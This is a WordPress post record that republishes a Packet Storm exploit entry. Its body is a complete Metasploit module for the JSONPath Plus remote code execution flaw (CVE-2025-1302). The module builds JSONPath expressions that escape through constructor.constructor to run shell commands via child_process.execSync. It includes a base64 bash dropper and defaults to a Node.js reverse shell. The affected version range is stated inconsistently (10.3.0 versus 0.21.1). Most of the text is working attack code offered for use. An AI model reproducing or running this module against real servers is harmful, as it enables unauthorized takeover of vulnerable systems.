{"id":31877,"date":"2025-12-18T10:44:56","date_gmt":"2025-12-18T10:44:56","guid":{"rendered":"http:\/\/localhost\/?p=31877"},"modified":"2025-12-18T10:44:56","modified_gmt":"2025-12-18T10:44:56","slug":"jsonpath-plus-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=31877","title":{"rendered":"\ud83d\udcc4 JSONPath Plus Remote Code Execution_PACKETSTORM:212982"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-18T15:54:38&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a remote code execution vulnerability in JSONPath Plus library versions prior to 10.3.0 The vulnerability allows arbitrary JavaScript code execution through malicious JSONPath expressions&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-12-18T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 JSONPath Plus Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:212982&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-1302&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : JSONPath Plus \\u003c 10.3.0 Remote Code Execution Exploitation Framework                                                           |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/github.com\/JSONPath-Plus\/JSONPath                                                                                   |\\n    =============================================================================================================================================\\n    \\n    POC : \\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/212004\/ \\u0026 \\tCVE-2025-1302\\n    \\n    \\n    [+] Summary : \\n    \\n            CVE-2025-1302 is a critical remote code execution vulnerability in JSONPath Plus library versions prior to 10.3.0. \\n    \\t\\tThe vulnerability allows attackers to execute arbitrary JavaScript code through maliciously crafted JSONPath expressions, leading to complete system compromise.\\n    \\t\\tThe vulnerability exists in the JSONPath expression parser where user input is improperly sanitized before being evaluated as JavaScript code. Attackers can exploit constructor properties to break out of the JSONPath context and execute arbitrary system commands.\\n    \\n            \\n    \\n    [+] POC :\\n    \\n    ##\\n    # Module: exploit\/multi\/http\/jsonpath_plus_rce\\n    # Version: 1.0\\n    # Author: indoushka\\n    ##\\n    \\n    require &#8216;msf\/core&#8217;\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = ExcellentRanking\\n    \\n      include Msf::Exploit::Remote::HttpClient\\n      include Msf::Exploit::CmdStager\\n    \\n      def initialize(info = {})\\n        super(update_info(info,\\n          &#8216;Name&#8217;           =\\u003e &#8216;JSONPath Plus RCE (CVE-2025-1302)&#8217;,\\n          &#8216;Description&#8217;    =\\u003e %q{\\n            This module exploits a remote code execution vulnerability in JSONPath Plus\\n            library versions prior to 0.21.1. The vulnerability allows arbitrary JavaScript\\n            code execution through malicious JSONPath expressions.\\n          },\\n          &#8216;Author&#8217;         =\\u003e [&#8216;indoushka&#8217;],\\n          &#8216;License&#8217;        =\\u003e MSF_LICENSE,\\n          &#8216;References&#8217;     =\\u003e [\\n            [&#8216;CVE&#8217;, &#8216;2025-1302&#8217;],\\n            [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/JSONPath-Plus\/JSONPath\/issues\/XXX&#8217;],\\n            [&#8216;URL&#8217;, &#8216;https:\/\/security.snyk.io\/vuln\/SNYK-JS-JSONPATHPLUS-XXX&#8217;]\\n          ],\\n          &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-11-26&#8217;,\\n          &#8216;Platform&#8217;       =\\u003e [&#8216;nodejs&#8217;, &#8216;unix&#8217;, &#8216;linux&#8217;],\\n          &#8216;Arch&#8217;           =\\u003e [ARCH_CMD, ARCH_NODEJS, ARCH_X64, ARCH_X86],\\n          &#8216;Payload&#8217;        =\\u003e {&#8216;BadChars&#8217; =\\u003e &#8221;, &#8216;Space&#8217; =\\u003e 8192},\\n          &#8216;Targets&#8217;        =\\u003e [\\n            [&#8216;Automatic&#8217;, {}],\\n            [&#8216;Node.js&#8217;, {&#8216;Arch&#8217; =\\u003e ARCH_NODEJS, &#8216;Platform&#8217; =\\u003e &#8216;nodejs&#8217;}],\\n            [&#8216;Unix Command&#8217;, {&#8216;Arch&#8217; =\\u003e ARCH_CMD, &#8216;Platform&#8217; =\\u003e &#8216;unix&#8217;}],\\n            [&#8216;Linux Dropper&#8217;, {&#8216;Arch&#8217; =\\u003e [ARCH_X64, ARCH_X86], &#8216;Platform&#8217; =\\u003e &#8216;linux&#8217;}]\\n          ],\\n          &#8216;DefaultTarget&#8217;  =\\u003e 0,\\n          &#8216;DefaultOptions&#8217; =\\u003e {\\n            &#8216;SSL&#8217; =\\u003e false,\\n            &#8216;RPORT&#8217; =\\u003e 3000,\\n            &#8216;PAYLOAD&#8217; =\\u003e &#8216;nodejs\/shell_reverse_tcp&#8217;\\n          },\\n          &#8216;Notes&#8217;          =\\u003e {\\n            &#8216;Stability&#8217;   =\\u003e [CRASH_SAFE],\\n            &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n            &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\\n          }\\n        ))\\n    \\n        register_options([\\n          OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;The base path to the vulnerable endpoint&#8217;, &#8216;\/&#8217;]),\\n          OptEnum.new(&#8216;METHOD&#8217;, [true, &#8216;HTTP method to use&#8217;, &#8216;AUTO&#8217;, [&#8216;POST&#8217;, &#8216;GET&#8217;, &#8216;AUTO&#8217;]]),\\n          OptBool.new(&#8216;NO_FALLBACK&#8217;, [false, &#8216;Disable GET fallback&#8217;, false]),\\n          OptInt.new(&#8216;DELAY&#8217;, [false, &#8216;Delay before exploitation (seconds)&#8217;, 0]),\\n          OptString.new(&#8216;PAYLOAD_FILE&#8217;, [false, &#8216;Path to custom payload file&#8217;]),\\n          OptBool.new(&#8216;VERBOSE&#8217;, [false, &#8216;Enable verbose output&#8217;, false])\\n        ])\\n    \\n        register_advanced_options([\\n          OptString.new(&#8216;CustomPayload&#8217;, [false, &#8216;Custom JSONPath payload&#8217;]),\\n          OptBool.new(&#8216;DebugRequests&#8217;, [false, &#8216;Debug HTTP requests\/responses&#8217;, false])\\n        ])\\n      end\\n    \\n      def check\\n        test_payload = &#8216;$[?(@.constructor.constructor(\\&#8221;return process.version\\&#8221;)())]&#8217;\\n        \\n        res = send_request_cgi({\\n          &#8216;method&#8217;   =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217;      =\\u003e normalize_uri(target_uri.path),\\n          &#8216;ctype&#8217;    =\\u003e &#8216;application\/json&#8217;,\\n          &#8216;data&#8217;     =\\u003e { &#8216;path&#8217; =\\u003e test_payload }.to_json\\n        })\\n    \\n        return CheckCode::Unknown(&#8216;No response from target&#8217;) unless res\\n    \\n        if res.body.include?(&#8216;v&#8217;) \\u0026\\u0026 res.body =~ \/\\\\d+\\\\.\\\\d+\\\\.\\\\d+\/\\n          return CheckCode::Appears(\\&#8221;Node.js version detected: #{res.body}\\&#8221;)\\n        end\\n    \\n        CheckCode::Safe\\n      end\\n    \\n      def exploit\\n        print_status(\\&#8221;Starting exploitation for CVE-2025-1302\\&#8221;)\\n    \\n        # Apply delay if specified\\n        if datastore[&#8216;DELAY&#8217;] \\u003e 0\\n          print_status(\\&#8221;Delaying #{datastore[&#8216;DELAY&#8217;]} seconds before exploitation&#8230;\\&#8221;)\\n          delay_progress(datastore[&#8216;DELAY&#8217;])\\n        end\\n    \\n        # Determine payload based on target\\n        payload = generate_payload\\n        print_status(\\&#8221;Generated payload: #{payload[0..100]}&#8230;\\&#8221;) if datastore[&#8216;VERBOSE&#8217;]\\n    \\n        # Execute exploitation\\n        case target[&#8216;Platform&#8217;]\\n        when &#8216;nodejs&#8217;\\n          exploit_nodejs(payload)\\n        when &#8216;unix&#8217;\\n          exploit_unix(payload)\\n        when &#8216;linux&#8217;\\n          exploit_linux(payload)\\n        else\\n          exploit_auto(payload)\\n        end\\n      end\\n    \\n      def generate_payload\\n        if datastore[&#8216;CustomPayload&#8217;]\\n          return datastore[&#8216;CustomPayload&#8217;]\\n        end\\n    \\n        case target[&#8216;Platform&#8217;]\\n        when &#8216;nodejs&#8217;\\n          generate_nodejs_payload\\n        when &#8216;unix&#8217;, &#8216;linux&#8217;\\n          generate_cmd_payload\\n        else\\n          # Auto-detect based on selected payload\\n          if payload_instance.name.include?(&#8216;nodejs&#8217;)\\n            generate_nodejs_payload\\n          else\\n            generate_cmd_payload\\n          end\\n        end\\n      end\\n    \\n      def generate_nodejs_payload\\n        cmd = payload.encoded\\n        # Escape for JavaScript string\\n        escaped_cmd = cmd.gsub(&#8216;\\&#8221;&#8216;, &#8216;\\\\\\&#8221;&#8216;).gsub(\\&#8221;&#8216;\\&#8221;, \\&#8221;\\\\\\\\&#8217;\\&#8221;)\\n        \\n        %Q{$[?(@.constructor.constructor(\\&#8221;require(&#8216;child_process&#8217;).execSync(&#8216;#{escaped_cmd}&#8217;)\\&#8221;)())]}\\n      end\\n    \\n      def generate_cmd_payload\\n        case target[&#8216;Platform&#8217;]\\n        when &#8216;unix&#8217;\\n          cmd = payload.encoded\\n          %Q{$[?(@.constructor.constructor(\\&#8221;require(&#8216;child_process&#8217;).execSync(&#8216;#{cmd.gsub(\\&#8221;&#8216;\\&#8221;, \\&#8221;\\\\\\\\&#8217;\\&#8221;)}&#8217;)\\&#8221;)())]}\\n        when &#8216;linux&#8217;\\n          # For Linux dropper, we need a different approach\\n          %Q{$[?(@.constructor.constructor(\\&#8221;require(&#8216;child_process&#8217;).execSync(&#8216;bash -c \\\\\\\\\\\\\\&#8221;#{Rex::Text.encode_base64(payload.encoded)}\\\\\\\\\\\\\\&#8221; | base64 -d | bash&#8217;)\\&#8221;)())]}\\n        else\\n          generate_nodejs_payload\\n        end\\n      end\\n    \\n      def exploit_auto(payload_str)\\n        method = datastore[&#8216;NO_FALLBACK&#8217;] ? &#8216;POST&#8217; : datastore[&#8216;METHOD&#8217;]\\n        \\n        case method\\n        when &#8216;POST&#8217;\\n          send_post_request(payload_str)\\n        when &#8216;GET&#8217;\\n          send_get_request(payload_str)\\n        when &#8216;AUTO&#8217;\\n          exploit_with_fallback(payload_str)\\n        end\\n      end\\n    \\n      def exploit_with_fallback(payload_str)\\n        print_status(\\&#8221;Attempting POST request&#8230;\\&#8221;)\\n        res = send_post_request(payload_str)\\n        \\n        if res \\u0026\\u0026 (res.code \\u003c 400)\\n          print_good(\\&#8221;POST request successful\\&#8221;)\\n          return true\\n        end\\n    \\n        print_status(\\&#8221;POST failed, falling back to GET&#8230;\\&#8221;)\\n        res = send_get_request(payload_str)\\n        \\n        if res \\u0026\\u0026 (res.code \\u003c 400)\\n          print_good(\\&#8221;GET request successful\\&#8221;)\\n          return true\\n        end\\n    \\n        fail_with(Failure::Unknown, \\&#8221;Both POST and GET methods failed\\&#8221;)\\n      end\\n    \\n      def send_post_request(payload_str)\\n        data = { &#8216;path&#8217; =\\u003e payload_str }.to_json\\n        \\n        print_status(\\&#8221;Sending POST request with payload\\&#8221;) if datastore[&#8216;VERBOSE&#8217;]\\n        debug_request(&#8216;POST&#8217;, data) if datastore[&#8216;DebugRequests&#8217;]\\n        \\n        res = send_request_cgi({\\n          &#8216;method&#8217;  =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217;     =\\u003e normalize_uri(target_uri.path),\\n          &#8216;ctype&#8217;   =\\u003e &#8216;application\/json&#8217;,\\n          &#8216;data&#8217;    =\\u003e data\\n        }, datastore[&#8216;HTTP_TIMEOUT&#8217;] || 10)\\n    \\n        debug_response(res) if datastore[&#8216;DebugRequests&#8217;] \\u0026\\u0026 res\\n        handle_response(res, &#8216;POST&#8217;)\\n      end\\n    \\n      def send_get_request(payload_str)\\n        print_status(\\&#8221;Sending GET request with payload\\&#8221;) if datastore[&#8216;VERBOSE&#8217;]\\n        \\n        res = send_request_cgi({\\n          &#8216;method&#8217;  =\\u003e &#8216;GET&#8217;,\\n          &#8216;uri&#8217;     =\\u003e normalize_uri(target_uri.path),\\n          &#8216;vars_get&#8217; =\\u003e { &#8216;path&#8217; =\\u003e payload_str }\\n        }, datastore[&#8216;HTTP_TIMEOUT&#8217;] || 10)\\n    \\n        debug_response(res) if datastore[&#8216;DebugRequests&#8217;] \\u0026\\u0026 res\\n        handle_response(res, &#8216;GET&#8217;)\\n      end\\n    \\n      def handle_response(res, method)\\n        unless res\\n          print_error(\\&#8221;#{method} request failed &#8211; no response\\&#8221;)\\n          return nil\\n        end\\n    \\n        if datastore[&#8216;VERBOSE&#8217;]\\n          print_status(\\&#8221;#{method} Response: Code=#{res.code}, Body=#{res.body[0..200]}&#8230;\\&#8221;)\\n        end\\n    \\n        if res.code \\u003e= 400\\n          print_error(\\&#8221;#{method} request failed with code #{res.code}\\&#8221;)\\n          return nil\\n        end\\n    \\n        res\\n      end\\n    \\n      def exploit_nodejs(payload_str)\\n        print_status(\\&#8221;Exploiting Node.js target&#8230;\\&#8221;)\\n        exploit_auto(payload_str)\\n        \\n        # For Node.js payloads, we need to handle the session differently\\n        if payload_instance.respond_to?(:handle_connection)\\n          handler\\n        end\\n      end\\n    \\n      def exploit_unix(payload_str)\\n        print_status(\\&#8221;Exploiting Unix command target&#8230;\\&#8221;)\\n        exploit_auto(payload_str)\\n      end\\n    \\n      def exploit_linux(payload_str)\\n        print_status(\\&#8221;Exploiting Linux target with dropper&#8230;\\&#8221;)\\n        \\n        # Use cmd stager for Linux targets\\n        execute_cmdstager({\\n          :linemax =\\u003e 8000,\\n          :nodelete =\\u003e true\\n        })\\n      end\\n    \\n      def execute_command(cmd, opts = {})\\n        payload_str = %Q{$[?(@.constructor.constructor(\\&#8221;require(&#8216;child_process&#8217;).execSync(&#8216;#{cmd.gsub(\\&#8221;&#8216;\\&#8221;, \\&#8221;\\\\\\\\&#8217;\\&#8221;)}&#8217;)\\&#8221;)())]}\\n        exploit_auto(payload_str)\\n      end\\n    \\n      def delay_progress(seconds)\\n        return if seconds \\u003c= 0\\n        \\n        print_status(\\&#8221;Waiting #{seconds} seconds&#8230;\\&#8221;)\\n        1.upto(seconds) do |i|\\n          print_status(\\&#8221;Delay: #{i}\/#{seconds}\\&#8221;) if i % 5 == 0 || i \\u003c= 3\\n          sleep(1)\\n        end\\n      end\\n    \\n      def debug_request(method, data)\\n        print_status(\\&#8221;[DEBUG #{Time.now.utc.iso8601}] #{method} Request:\\&#8221;)\\n        print_status(\\&#8221;Data: #{data}\\&#8221;)\\n      end\\n    \\n      def debug_response(res)\\n        return unless res\\n        \\n        print_status(\\&#8221;[DEBUG #{Time.now.utc.iso8601}] Response:\\&#8221;)\\n        print_status(\\&#8221;Status: #{res.code}\\&#8221;)\\n        print_status(\\&#8221;Headers: #{res.headers}\\&#8221;)\\n        print_status(\\&#8221;Body: #{res.body}\\&#8221;)\\n      end\\n    \\n      def load_custom_payloads(file_path)\\n        return [] unless File.exist?(file_path)\\n        \\n        payloads = []\\n        File.readlines(file_path).each do |line|\\n          next if line.strip.empty?\\n          payloads \\u003c\\u003c line.strip\\n        end\\n        payloads\\n      end\\n    end\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/212982&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/212982\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-18T15:54:38&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a remote code execution vulnerability in JSONPath Plus library versions prior to 10.3.0 The vulnerability allows arbitrary JavaScript code execution through&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-31877","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 JSONPath Plus Remote Code Execution_PACKETSTORM:212982 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=31877\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 JSONPath Plus Remote Code Execution_PACKETSTORM:212982 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-18T15:54:38&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a remote code execution vulnerability in JSONPath Plus library versions prior to 10.3.0 The vulnerability allows arbitrary JavaScript code execution through...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=31877\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-18T10:44:56+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31877#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31877\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 JSONPath Plus Remote Code Execution_PACKETSTORM:212982\",\"datePublished\":\"2025-12-18T10:44:56+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31877\"},\"wordCount\":1683,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31877#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31877\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31877\",\"name\":\"\ud83d\udcc4 JSONPath Plus Remote Code Execution_PACKETSTORM:212982 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-18T10:44:56+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31877#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31877\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31877#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 JSONPath Plus Remote Code Execution_PACKETSTORM:212982\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 JSONPath Plus Remote Code Execution_PACKETSTORM:212982 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=31877","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 JSONPath Plus Remote Code Execution_PACKETSTORM:212982 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-18T15:54:38&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a remote code execution vulnerability in JSONPath Plus library versions prior to 10.3.0 The vulnerability allows arbitrary JavaScript code execution through...","og_url":"https:\/\/zero.redgem.net\/?p=31877","og_site_name":"zero redgem","article_published_time":"2025-12-18T10:44:56+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=31877#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=31877"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 JSONPath Plus Remote Code Execution_PACKETSTORM:212982","datePublished":"2025-12-18T10:44:56+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=31877"},"wordCount":1683,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=31877#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=31877","url":"https:\/\/zero.redgem.net\/?p=31877","name":"\ud83d\udcc4 JSONPath Plus Remote Code Execution_PACKETSTORM:212982 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-18T10:44:56+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=31877#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=31877"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=31877#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 JSONPath Plus Remote Code Execution_PACKETSTORM:212982"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/31877","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\